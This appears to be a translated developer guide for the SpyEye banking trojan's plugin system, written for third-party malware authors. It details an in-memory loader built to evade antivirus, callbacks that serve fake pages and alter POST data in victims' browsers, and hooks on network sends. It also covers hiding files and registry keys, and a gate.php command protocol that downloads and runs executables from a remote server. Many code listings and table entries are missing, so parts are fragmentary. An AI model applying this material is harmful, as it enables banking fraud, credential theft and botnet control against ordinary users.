The idea is that a functional bot should not be restricted by its author. In this regard, in SpyEye now are supported modules (plugin) by third-party developers.
I.e. a third-party developer has an opportunity to connect code to the troyan. In this case, the "container" of the code is a DLL.
The plugin consists of two files. That is, in fact, a DLL and its configuration. The name of the DLL file is the name of the plugin. Config file name is the name of the DLL file with the postfix .cfg (for example, if a plugin is called socks.dll, then the configuration of this plugin should be called socks.dll.cfg)
Plugin config - this is a text file, content of which is the argument of the function Init.
In total, there are 3 functions, that must be declared in a DLL export table. They are Init, Start and Stop. Start and Stop are needed to run de plugin from the main admin panel (see the corresponding menu - Plugins).
Plugins are divided into two types:
This type of plug-in is by default. In this case, the plugin code will be executed only in the main process of the bot (this is explorer.exe).
If you want the plugin code to be carried out not only in the main process of the bot, then we declare a function IsGlobal, which will return TRUE. In this case, the plugin code will be executed in all processes available for injecting. When launching the new process, the plugin will run it once at startup,after the entry point. The functions Start and Stop will be invoked on all plugin instances.
To run the plugins, SpyEye doesn't use the standard PE loader OS Windows, because the Win API does not provide functions to download an executable file from memory (forcing with this to store the DLL on disk and use ntdll!LdrLoadDll). Naturally, it does not suit us, as the signature-based AV-scanners will detect the plugin executable files. Therefore, SpyEye has its own PE loader, to run plugins code from memory, bypassing the dump to disk. I.i. crypting the DLL is not needed.
Plugins are stored in the bot config. It is convenient because there's no need to hitch a plugin in the bot executable file. Thus, we can reduce the file size of the bot, keeping the heavy plugin configuration. I.e. after starting on the holder's machine, with a tighten bot config and start from there the plugins.
The calling convention, used in the plugins functions, must be strictly cdecl.
szConfig | null-terminated string, whos content is the plugin's config. |
The function is called once a bot, in the context of a single process. Call occurs in a separate thread.
Function call is initiated by a command from the gate of the main control panel. Call occurs in a separate thread.
Function call is initiated by a command from the gate of the main control panel. As well as in the case of bot config update or the update of the bot itself. Call occurs in a separate thread, but serves to plugin uninstall when you upgrade the config or the executable code of the bot.
lpGateFunc | A pointer to a function with the following prototype: typedef void (*GATETOCOLLECTOR)(IN PBYTE pbData, IN DWORD dwSize)
This feature can cause the plugin to pass the information to the collector. Protocol is the following:
[Null-Terminated-String:NameOfTable] [DWORD:CountOfFields] --- field1 --- [Null-Terminated-String:NameOfField] [DWORD:SizeOfField] [BYTE-Array:FiledData] --- --- field2 --- ... --- |
Function is executed before calling Init. Returns only one parameter - a pointer to the gate-function, sending the data through which is carried out in a separate thread.
Before sending data, you need to configure the collector in a certain way. Namely, in the tables folder you need to put an *.sql file with the create table script.
For example: table_test.sql
In this case, if you call the gate-function with the following arguments:
The Collector then inserts the data into a table test. And, there will be a type record:
+----+-------+---------------------+ | id | test | date_rep | +----+-------+---------------------+ | 1 | tada! | 2006-04-02 22:20:15 | +----+-------+---------------------+
For the convenience of generating gate-function arguments, you can write some auxiliary code types
includes.h:
minisausage.h:
minisausage.cpp:
Example of use:
sausage_sample.cpp:
Analog functions TakeGateToCollector. The only difference is that the sending of data is in the current, rather than the additional flow.
szBotGuid |
null-terminated string, representing a unique identifier for a bot. * Maximum size - 80 characters |
Function is executed before calling Init.
szBotPath |
null-terminated string, representing the path to the bot. * Maximum size - 260 characters |
Function is executed before calling Init.
dwBotVersion |
A number that represents the version of the bot. To get the current version of the bot in a legible form, convert this number to decimal form and put down the dividing point for every even level for this number. For example: 0x0000283B -> 10299 -> "v1.2.99" |
Function is executed before calling Init.
Return Value |
The values of this number represent the state in which the plug-in is. Differ by only two states: OFF and ON. Respectively:
|
This feature can be used to prevent the plugin callback functions Start and Stop. For example, if is called the Start function from the function Init (if the plugin is autorun), the plugin can return the state PLUGIN_ON, to prevent the call of Start function, even if the command will come out of the control panel.
Return Value |
Flag for the unload ability of the plugin executable code from the address space of its process. |
If the plugin returns TRUE when calling this function, SpyEye will not reload the executable from the current process for config update or bot executable code.
Return Value |
A flag that determines whether to execute the plugin code in all processes available for injecting. |
szUrl |
URL |
szVerb |
Type of request (GET or POST) |
szHeaders |
HTTP-request header |
szPostVars |
If the query type = POST, it contains szPostVars POST-parameter requests |
lpdwProcessMode |
Pointer to a DWORD-variable, defining the callback, is called to the current resource. Accepted values:
|
szUrl |
URL |
szVerb |
Query type (GET or POST) |
szHeaders |
HTTP-header request |
szPostVars |
If the query type = POST, it contains szPostVars POST-parameter request |
lpszContent |
Pointer to a null-terminated string, which contains webserver's fake response (with the HTTP-header). |
lpdwSize |
Pointer to a DWORD, which stores the string size, stored at lpszContent address. |
* Plugin own memory manager must allocate memory and assign its address to a pointer lpszContent. Consequently, plugin must provide an address at a function to release memory at this address. Because with it, to avoid memory leaks, plug-in should determine the function FreeMem.
szUrl |
URL |
szVerb |
Query type (GET or POST) |
szHeaders |
HTTP-header request |
szPageContent |
Pages content (without HTTP-header) |
szOut |
Pointer to a null-terminated string, where the plugin can return page fake content (without HTTP-header) |
lpdwSize |
Pointer to a DWORD, which stores the size of szPageContent |
* By using this callback, should imperatively declared the FreeMem function (for reason see the Callback_OnBeforeLoadPage3 callback)
* These pages are transferred to the callback AFTER applying the webinjects (if any were specified in the rules file webinjects.txt)
szUrl |
URL |
szVerb |
Query type (GET or POST) |
szInPostVars |
null-terminated string, which contains the settings for the current POST-request |
dwInPostVarsSize |
DWORD, which stores the size of szInPostVars |
szOutPostVars |
Pointer to a null-terminated string, where the plugin can return the fake parameters of the POST-request |
lpdwOutPostVarsSize |
Pointer to a DWORD, which stores the size of szOutPostVars |
* If you use this callback, it is strongly recommended to declare a FreeMem function (for reason see the Callback_OnBeforeLoadPage3 callback)
lpMem |
Pointer to the dynamic memory, in which stands the plugin. |
lpGetPageFunc |
A pointer to a function with the following prototype: typedef BOOL (*GETPAGE)(IN PCHAR szURLPage, OUT PBYTE *lppbData, OUT PDWORD lpdwSize, IN PCHAR szHeaders)
This function deals with downloading resources on the protocol HTTP/HTTPS. Has the following parameters:
* Pointer values lppbData & lpdwSize are equal to NULL prior to any action. |
Function is executed before calling Init.
If the plugin uses lpGetPageFunc, in order to avoid memory leaks, the plugin will need to remove the allocated memory by lppbData pointer. To obtain the address of a function, dealing with memory release, need to declare the TakeFreeMem callback.
lpGetPage2Func |
A pointer to a function with the following prototype:
BOOL GetPage2(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szRequestHeaders, IN BOOL bReadResponseHeaders, IN LPVOID lpOptional, DWORD dwOptionalLength, OUT PBYTE *pbData, OUT PDWORD dwSize)
This feature is an enhanced version of the GetPage() function. Has the following parameters:
|
Function is executed before calling Init.
lpFreeMemFunc |
A pointer to a function with the following prototype: typedef VOID (*FREE)(IN LPVOID lpMem)
|
The function frees the dynamic memory by lpFreeMemFunc pointer. Used in the SpyEye memory manager.
Function is executed before calling Init.
lpOriginalFunction |
Function ws2_32!send pointer |
s, buf, size, flags |
Function ws2_32!send arguments |
lpReturn |
The result of ws2_32!send |
Return Value |
Only if TRUE, the result of the original ws2_32!send will be substituted for *lpReturn |
Such a callback is needed for plugin to have the opportunity to receive input and to change output parameters of the ws2_32!send function. Actually, this follows from its name.
Thise callback was created to avoid the conflicts if the plugin wants to splice the ws2_32!send function.
lpFunc |
A pointer to a function with the following prototype:
typedef BOOL (__cdecl *GETCONFIGCRC32)(OUT PDWORD pdwCrc32)
This function can be used to determine the current plugin CRC32 (identificator) of the bot config file config.bin. Has the following parameters:
|
Function is executed before calling Init.
lpFunc |
A pointer to a function with the following prototype:
typedef BOOL (__cdecl *GETBOTEXEMD5)(OUT PCHAR szMd5);
This function can be used to determine the plugin MD5 (identificator) of the principal bot executable file. Has the following parameters:
|
Function is executed before calling Init.
lpFunc |
A pointer to a function with the following prototype:
typedef BOOL (__cdecl *GETPLUGINSLIST)(OPTIONAL OUT PCHAR szPluginsList, IN OUT PDWORD pdwSize, OPTIONAL OUT PBOOL pblPluginsStat, IN OUT PDWORD pdwSizeStat);
This feature can be used by plugin for information about plugins and their status. Has the following parameters:
|
Function is executed before calling Init.
lpFunc |
A pointer to a function with the following prototype:
typedef VOID (__cdecl *MAINCPGATEOUTPUT)(IN PBYTE pbData, IN DWORD dwSize);
The plugin calls this function to transmit to bot info from the main control panel. In addition, the plugin can generate the input parameters to control the bot. The function has the following parameters:
|
Function is executed before calling Init.
This function is similar to that used in the TakeMainCpGateOutputCallback callback. Unlike in the appointment. Bot calls it when it wants to transmit info to the main control panel
lpFunc |
A pointer to a function with the following prototype:
typedef BOOL (__cdecl *UPDATEBOTEXE)(IN PBYTE pbData, IN DWORD dwSize, IN BOOL bUseBuildinPeLoader, IN BOOL bReplaceBotExe, IN DWORD dwTaskId);
This function can be used by plugins to update the bot exe. Has the following parameters:
|
lpFunc |
A pointer to a function with the following prototype:
typedef BOOL (__cdecl *UPDATECONFIG)(IN PBYTE pbData, IN DWORD dwSize, IN DWORD dwTaskId);
This function can be used by plugins to update the bot config.bin. Has the following parameters:
|
lpFunc |
A pointer to a function with the following prototype:
typedef BOOL (__cdecl *STARTEXE)(IN PBYTE pbData, IN DWORD dwSize, IN BOOL bUseBuildinPeLoader, IN DWORD dwTaskId);
This function can be used by the plugin to run a third-party exe. Has the following options:
|
lpFunc |
A pointer to a function with the following prototype:
typedef VOID (__cdecl *GATEPAGESENDMSG)(IN BOOL isOutput, IN PCHAR szMessage);
This feature can be used to control plugins such as customconnector. With its help you can control, and any other plug-ins, keeping the internal bot protocol described in the customconnector section. Has the following options:
|
These plugins are required during installation of the bot into the system. In v1.3 there are only two such plugins.
Used to generate low-level config (used for such things as defining the folder where you installed the bot, the bot definition file name, etc.).
Properly, installs a bot into the system (that is involved in the transfer of bot executable out of place, where it was first launched in place, a certain result of ConfigShellcode).
These shellcodes are in the bot exe resources. Scheme:
Shellcode, as the container code, was not selected randomly. Its size is minimal (no PE-header, there is no section, imports table) and it just implements (no need to configure any relocation or imports table).
Thus, there is a low-level bot config. Part of it is given in the builder, in part is formed by ConfigShellcode. Config structure is the following:
Always takes the value 0x45594521 ("!EYE"). Needed for shellcode to identify in which page is the config.
Path, where was ran a bot exe. Dynamic parameter. Every time filled by the bot.
Folder, where you want to drop the bot exe.
The name of the bot executable file. Set by the builder. Shellcode merely adds a file extension.
Name of the main bot config. Shellcode always sets it to "config.bin"
Name of the exe-file, to which the bot drops its exe at update
Actually, temp-dir, where are dropped the executable files, that run later than the standard Windows PE-loader
Exe prefix, that is used in bot loader.
Actually, bot identificator. Formed from such things as: OS version, PC name, serial number of the logical system drive.
Mutex name, which is used to identify the bot in the system
Mutex name, which is used for removal of the bot from the system
Mutex name, which is used to update the config in all processes where the bot was injected
Mutex name, which is used as an indication that a report on system info have already gone to the collector
The name of the environment variable in the main process of the bot, whose value is the decryption key of the bot config
Array, which stores the names of files and folders, which will be hidden by the bot. Separator between the names - end of line symbol. End of the array is determined based on the values of the btFilesToHidePointers array
Array, which stores the offset of szFilesToHide array, defining the beginning of the line. If the value of a key of that array is 0, then the files to hide are no longer available
List of registry keys to hide. Analog to szFilesToHide
Analog to szRegKeysToHide
So, how is installed a bot?
How the low-level plugins can be used? Well, for example:
Enough to use 3 callbacks:
In the first one - the plugin defines - whether to return the content of the fake for this resource or not.
In the second one - the plugin returns the content of the fake.
In the third one - the plugin releases the allocated memory which was used to store the content of the fake.
Here's an example that demonstrates the substitution of a picture:
Strictly speaking, if to any picture to add in a URL string, "CallbackOnBeforeLoadPage3", the plugin returns the content of the fake. Example:
Original image:
Fake image, that is returned by the plugin:
Starting with v1.3, SpyEye uses a separate plugin for communicating with the main control panel.
At the moment, is used the following protocol for communication with the admin. The bot, over an interval, sends such info to the gate:
> gate.php?guid=!USER-5C377A2CCF!046502F4&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&ccrc=13A7F1B3&md5=b9c3cb2cdc66b1f4465fe56cc34040b2&plg=customconnector
This is a HTTP-GET request, which can be segmented into the following variables:
The first five variables are mandatory. The admin panel, analyzing their meaning, can issue the following commands:
To find the values for each of them, the plugin uses the appropriate API:
Other variables (stat, ie, os, ut) don't require to receive infos from the bot (not mandatory), and therefore are generated by the plugin.
Schematically, the plugin looks like this:
Protocol to receive commands from SpyEye - text. That is, to gate.php is sent a HTTP-GET request, and, if the bot needs to perform some action, then the customconnector.dll causes MainCpGateOutput. Below are the command types transmitted by MainCpGateOutput for a particular command
UPDATE_CONFIG<br>PATH=http://www.myserver.cn/config.bin
UPDATE<br>PATH=http://www.myserver.cn/bot.exe
PLUGIN<br>customconnector;0<br>socks5;1<br>
LOAD<br>http://www.myserver.cn/smth.exe<br>tid=1
If SpyEye wants to send info to the main admin panel. For example, the status of a job, that was executed by the bot, then he calls MainCpGateInput. Variables format is the same as in the case of HTTP-GET request.
So, summing up. The customconnector plugin is the mediator between the bot and the main admin panel. This allows, for example, to use some sort of encryption, between the bot and the main admin panel (of course, it will require some modifications on the server side). Also, you can emulate the command from the admin panel, driving SpyEye. And in general - you can refuse from gate.php and use some sort of a server to control the botnet. You can also implement a decentralized botnet based on this plugin.
In general, this plugin extends the capabilities of custom connection with the admin panel for developers